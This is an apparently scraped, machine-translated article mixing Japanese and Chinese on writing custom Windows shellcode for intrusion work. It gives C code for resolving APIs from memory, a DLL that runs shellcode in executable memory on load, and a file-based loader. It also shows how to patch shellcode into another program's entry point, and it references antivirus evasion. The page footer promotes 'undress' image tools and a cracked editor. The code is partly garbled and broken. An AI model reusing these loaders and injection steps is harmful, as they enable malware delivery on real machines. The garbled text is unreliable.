1. シェルコード プログラミングの事前知識ポイントの紹介
シェルコードとは何ですか?
シェルコードの本質は、実際には独立して実行できるアセンブリ コードの一部であり、ファイル構造を持たず、コンパイル環境に依存せず、exe のようにダブルクリックして実行することもできません。 。ここでは特定のシェルコードについては詳しく説明しませんが、Baidu で関連情報を自分で検索することができます。
なぜ独自のシェルコードを作成する必要があるのでしょうか?
過去半年でたくさんの侵入を行ったので、使用したシェルコードもCSまたはMSFによって生成されましたが、ツールによって自動生成されたシェルコードは結局死んでおり、方法がありません別の例としては、新しい脆弱性を知っているが、指定された脆弱性悪用 POC では計算ツールしかポップアップ表示できない場合があり、必要な機能を実現したい場合は、シェルコードを自分で記述する必要があります。シェルコード作成テクノロジを習得することが特に重要であり、バッファ オーバーフローやワームに対するシェルコードについても同様であり、不可欠かつ重要な役割を果たします。
シェルコードを書くときに遭遇する問題
シェルコードを自分で書きたい場合は、シェルコードを書く上で最も重要な知識点を知っておく必要があります。いくつかの点を挙げてみましょう:
1. シェルコードもプログラムです。正常に実行するには、さまざまなデータ (グローバル文字列など) も使用する必要がありますが、誰もが知っています。グローバル変数へのアクセス。それらはすべて固定アドレス (ハードコーディング、つまり、ハードコーディングされており変更できない) であり、シェルコードはどのプログラムのどこでも実行できるように配置されています。この場合、必要なデータへのアクセスは正確ですか?
2. シェルコードはオペレーティング システムでも実行され、いくつかのシステム API を呼び出す必要があります。これらの API のアドレスを取得するにはどうすればよいでしょうか?
3. 必要な API がシェルコードで実行されるプログラムにインポートされておらず、それを使用する必要がある場合、どうすればよいでしょうか?
スペースの都合上、これらの質問に対する答えは、FB の上級著者 Rabbit_Run が翻訳した 3 つの記事「Windows プラットフォーム シェルコード開発入門 1、2、および 3」から見つけることができます。シェルコードの作成について知っている すべての前提条件となる知識が含まれるため、質問して答えを見つけることができます。
2. シェルコード プログラミング フレームワークの概要
シェルコード プログラミング フレームワーク:
これらの前提知識を知った後でも、純粋にシェルコードを記述するのは面倒で困難です。ネイティブ js コードを記述することは、jquery などの js フレームワークを使用するよりもはるかに便利ではなく、高速です。したがって、カスタム関数の作成を容易にするシェルコード プログラミング フレームワークを確立する必要があります。インターネット上には、TK がオープンソースで使用したシェルコード プログラミング フレームワークや、OneBugMan 先生が以前に書いた 2 つのフレームワークなど、そのようなシェルコード プログラミング フレームワークがたくさんあります。私は学校で勉強していたときにシェルコード プログラミング フレームワークを書きましたが、できません。この浸透期間中、以前の知識の多くを忘れてしまったので、OneBugMan が教えたコースに基づいてシェルコード フレームワークを作成し、実践しました (興味がある場合は、教師のオープン クラスをサポートできます) 、それはとても良いことです)。
フレームワーク構造の概要
1. プロジェクト作成時に SDL チェックをオフにします
2. プロパティ -> C/C -> コード生成 ->ランタイム ライブラリ - > マルチスレッド (/MT) デバッグの場合は、MTD
3 に設定します。プロパティ - > 一般 - > プラットフォーム ツールセット - > Visual Studio 2015 - Windows XP に設定します。 (v140_xp)、そうでない場合は、対応する XP 互換コンポーネントをインストールできます
4。プロパティ -> C/C -> コード生成 -> セキュリティ チェックを無効にする GS
5. 生成されたマニフェストを閉じます。 [プロパティ] -> [リンカー] -> [マニフェスト ファイル] -> [マニフェストの生成] [No] を選択します。
各ファイルの役割を以下に紹介します:
1.api.h— —>シェルコードによって使用されるシステム関数への関数ポインター、およびこれらの関数ポインターを含む構造体。
2.header.h——>ヘッダーファイルとカスタム関数の関数宣言。
3.0.entry.cpp——> フレームワークのエントリで、最終的に生成されるシェルコード ファイルを作成します。
4.a.start.cpp——> シェルコードの開始位置をマークします。これは、シェルコードを作成する前に事前操作を実行し、使用する関数を初期化するために使用されます
5。 b.work .cpp——>シェルコードの実行、特定の関数の実装
6.z.end.cpp——>シェルコードの終了位置をマーク
ファイルにこのような名前が付けられている理由は、最初に数字、次に文字で配置されているためです。プロジェクト内のファイルは、コンパイルされて exe が生成されるときに、コンパイルされて生成されるように、このように名前が付けられています。以下に示す順序で生成されるため、生成された実行コードセグメント内の関数の順序も、以下のファイル内の関数の順序に従って配置されるため、シェルコードのサイズ (z.end の ShellcodeEnd から ShellcodeStart を引いたもの) を簡単に計算できます。 a.start. はシェルコードのサイズです)、それにより最終的に生成されるファイルにシェルコードが書き込まれます。
関数名は一貫している必要があります。一貫性がないと、エントリ ポイントが見つかりません。エントリ ポイントを変更したためです。 、一部の C 形式関数は直接使用できないため、動的呼び出し形式に変更する必要があります。作成するシェルコードのサイズの計算もあります。
以下は、 GetProcadDress 関数のアドレス。[]="xxxxx"; これにより、文字列がプログラムの rdata セクションに書き込まれ、絶対アドレスに変換されます。絶対アドレスを使用すると、シェルコードの実行エラーが発生します。
FARPROC getProcAddress(HMODULE hModuleBase) { FARPROC pRet = NULL; PIMAGE_DOS_HEADER lpDosHeader; PIMAGE_NT_HEADERS32 lpNtHeaders; PIMAGE_EXPORT_DIRECTORY lpExports; PWORD lpwOrd; PDWORD lpdwFunName; PDWORD lpdwFunAddr; DWORD dwLoop; lpDosHeader = (PIMAGE_DOS_HEADER)hModuleBase; lpNtHeaders = (PIMAGE_NT_HEADERS)((DWORD)hModuleBase + lpDosHeader->e_lfanew); if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size) { return pRet; } if (!lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress) { return pRet; } lpExports = (PIMAGE_EXPORT_DIRECTORY)((DWORD)hModuleBase + (DWORD)lpNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); if (!lpExports->NumberOfNames) { return pRet; } lpdwFunName = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNames); lpwOrd = (PWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfNameOrdinals); lpdwFunAddr = (PDWORD)((DWORD)hModuleBase + (DWORD)lpExports->AddressOfFunctions); for (dwLoop = 0; dwLoop NumberOfNames - 1; dwLoop++) { char * pszFunction = (char*)(lpdwFunName[dwLoop] + (DWORD)hModuleBase); if (pszFunction[0] == 'G' &&pszFunction[1] == 'e' &&pszFunction[2] == 't' &&pszFunction[3] == 'P' &&pszFunction[4] == 'r' &&pszFunction[5] == 'o' &&pszFunction[6] == 'c' &&pszFunction[7] == 'A' &&pszFunction[8] == 'd' &&pszFunction[9] == 'd' &&pszFunction[10] == 'r' &&pszFunction[11] == 'e' &&pszFunction[12] == 's' &&pszFunction[13] == 's') { pRet = (FARPROC)(lpdwFunAddr[lpwOrd[dwLoop]] + (DWORD)hModuleBase); break; } } return pRet; }
以下の初期化関数部分では、使用する関数がどの DLL に含まれているかを知る必要があります。たとえば、system() 関数を使用してコマンドを実行したい場合は、最初に msvCRT をロードする必要があります。 .dll を次の図で確認し、getprocaddress 関数でシステム関数を見つけます。システム関数 (電卓の呼び出しなど) で使用されるコマンド文字列も char szCalc[] = { 'c','a','l','c',0}; のように記述する必要があることを忘れないでください。 。
図 5 初期化関数 特定の関数を実装するときは、下図の配列の配列に従って関数で使用される文字列を宣言することを忘れないでください。 1.txt ドキュメント。
このファイルでは、010Editor を使用して sc.bin を開いて、生成されたシェルを確認します。コード。
图7 生成的shellcode
下面介绍几种shellcode运行方式:
1、(使用010Editor直接复制出来shellcode)直接替换某程序的二进制
例如我们想让dbgview.exe运行我们生成的shellcode
第一步:我们使用lordPE查看dbgview.exe程序的入口点。
然后使用010Editor打开dbgview.exe找到入口点位置,从入口点位置删除掉我们需要替换进去的shellcode大小的字节,然后替换成我们的shellcode,保存运行即可执行我们的shellcode。
2、把shellcode直接写到代码中生成exe程序运行(源码A)、或者生成dll再写注入器或者使用工具注入到某进程中(源码B)
源码A
#include <windows.h> #include <stdio.h> #pragma comment(linker, "/section:.data,RWE") unsigned char shellcode[] = "\xfc\xe8\x89\x00\x00\x00\x60\x89........在这里写入shellcode"; void main() { __asm { mov eax, offset shellcode jmp eax } }</stdio.h></windows.h>
源码B
// dllmain.cpp : 定义 DLL 应用程序的入口点。 #include "stdafx.h" #include<windows.h> #include<iostream> //data段可读写 #pragma comment(linker, "/section:.data,RWE") HANDLE My_hThread = NULL; //void(*ptrceshi)() = NULL; typedef void(__stdcall *CODE) (); unsigned char shellcode[] = "x00\x49\xbe\x77\x69\x6e\x.........在这里填入shellcode"; DWORD WINAPI ceshi(LPVOID pParameter) { PVOID p = NULL; if ((p = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE)) == NULL) { } if (!(memcpy(p, shellcode, sizeof(shellcode)))) { } CODE code = (CODE)p; code(); return 0; } BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: My_hThread = ::CreateThread(NULL, 0, &ceshi, 0, 0, 0);//新建线程 case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; }</iostream></windows.h>
具体操作可以参考我发的上篇文章《shellcode免杀实战里面的步骤》。
3、自己写加载器
我们如果不想复制出来shellcode运行我们也可以直接运行我们生成的sc.bin,不过得需要自己写一个加载器。
代码如下
#include<stdio.h> #include<stdlib.h> #include<windows.h> int main(int argc, char* argv[]) { HANDLE hFile = CreateFileA(argv[1], GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("Open File Error!%d\n", GetLastError()); return -1; } DWORD dwSize; dwSize = GetFileSize(hFile, NULL); LPVOID lpAddress = VirtualAlloc(NULL, dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if (lpAddress == NULL) { printf("VirtualAlloc error:%d\n", GetLastError()); CloseHandle(hFile); return -1; } DWORD dwRead; ReadFile(hFile, lpAddress, dwSize, &dwRead, 0); __asm { call lpAddress; } _flushall(); system("pause"); return 0; }</windows.h></stdlib.h></stdio.h>
写好加载器编译生成exe以后我们只需要把sc.bin文件拖到生成的exe上就可以自动运行我们的shellcode,或者使用命令行 >某某.exe sc.bin
4、使用别人写好的加载器
如果大家不想自己写加载器也可以使用别人写好的工具,我以前在看雪上发现一个小工具也挺好用的,这个小工具可以把shellcode转换成字符串形式也可以将字符串形式的shellcode转换成bin文件形式然后再加载运行shellcode。
原帖子链接工具链接
我们可以使用这个工具执行生成的sc.bin文件,只需将该文件拖入工具中,然后点击转换为字符串形式
这和我们在010Editor中看到的是一样的,相当于帮我们自动复制出来了。
因为我们生成的sc.bin文件是可以直接执行的,所以就不需要点击转成Bin文件了,所以我们直接点击执行shellcode,弹出了Messagebox窗口,我们点击确定后,又创建了1.txt文档。
至此我们就可以根据框架举一反三,编写我们自己功能的shellcode了。
以上がシェルコードとはどういう意味ですか?の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

ホットAIツール

Undresser.AI Undress
リアルなヌード写真を作成する AI 搭載アプリ

AI Clothes Remover
写真から衣服を削除するオンライン AI ツール。

Undress AI Tool
脱衣画像を無料で

Clothoff.io
AI衣類リムーバー

Video Face Swap
完全無料の AI 顔交換ツールを使用して、あらゆるビデオの顔を簡単に交換できます。

人気の記事

ホットツール

SublimeText3 Mac版
神レベルのコード編集ソフト(SublimeText3)

Safe Exam Browser
Safe Exam Browser は、オンライン試験を安全に受験するための安全なブラウザ環境です。このソフトウェアは、あらゆるコンピュータを安全なワークステーションに変えます。あらゆるユーティリティへのアクセスを制御し、学生が無許可のリソースを使用するのを防ぎます。

AtomエディタMac版ダウンロード
最も人気のあるオープンソースエディター

EditPlus 中国語クラック版
サイズが小さく、構文の強調表示、コード プロンプト機能はサポートされていません

SecLists
SecLists は、セキュリティ テスターの究極の相棒です。これは、セキュリティ評価中に頻繁に使用されるさまざまな種類のリストを 1 か所にまとめたものです。 SecLists は、セキュリティ テスターが必要とする可能性のあるすべてのリストを便利に提供することで、セキュリティ テストをより効率的かつ生産的にするのに役立ちます。リストの種類には、ユーザー名、パスワード、URL、ファジング ペイロード、機密データ パターン、Web シェルなどが含まれます。テスターはこのリポジトリを新しいテスト マシンにプルするだけで、必要なあらゆる種類のリストにアクセスできるようになります。
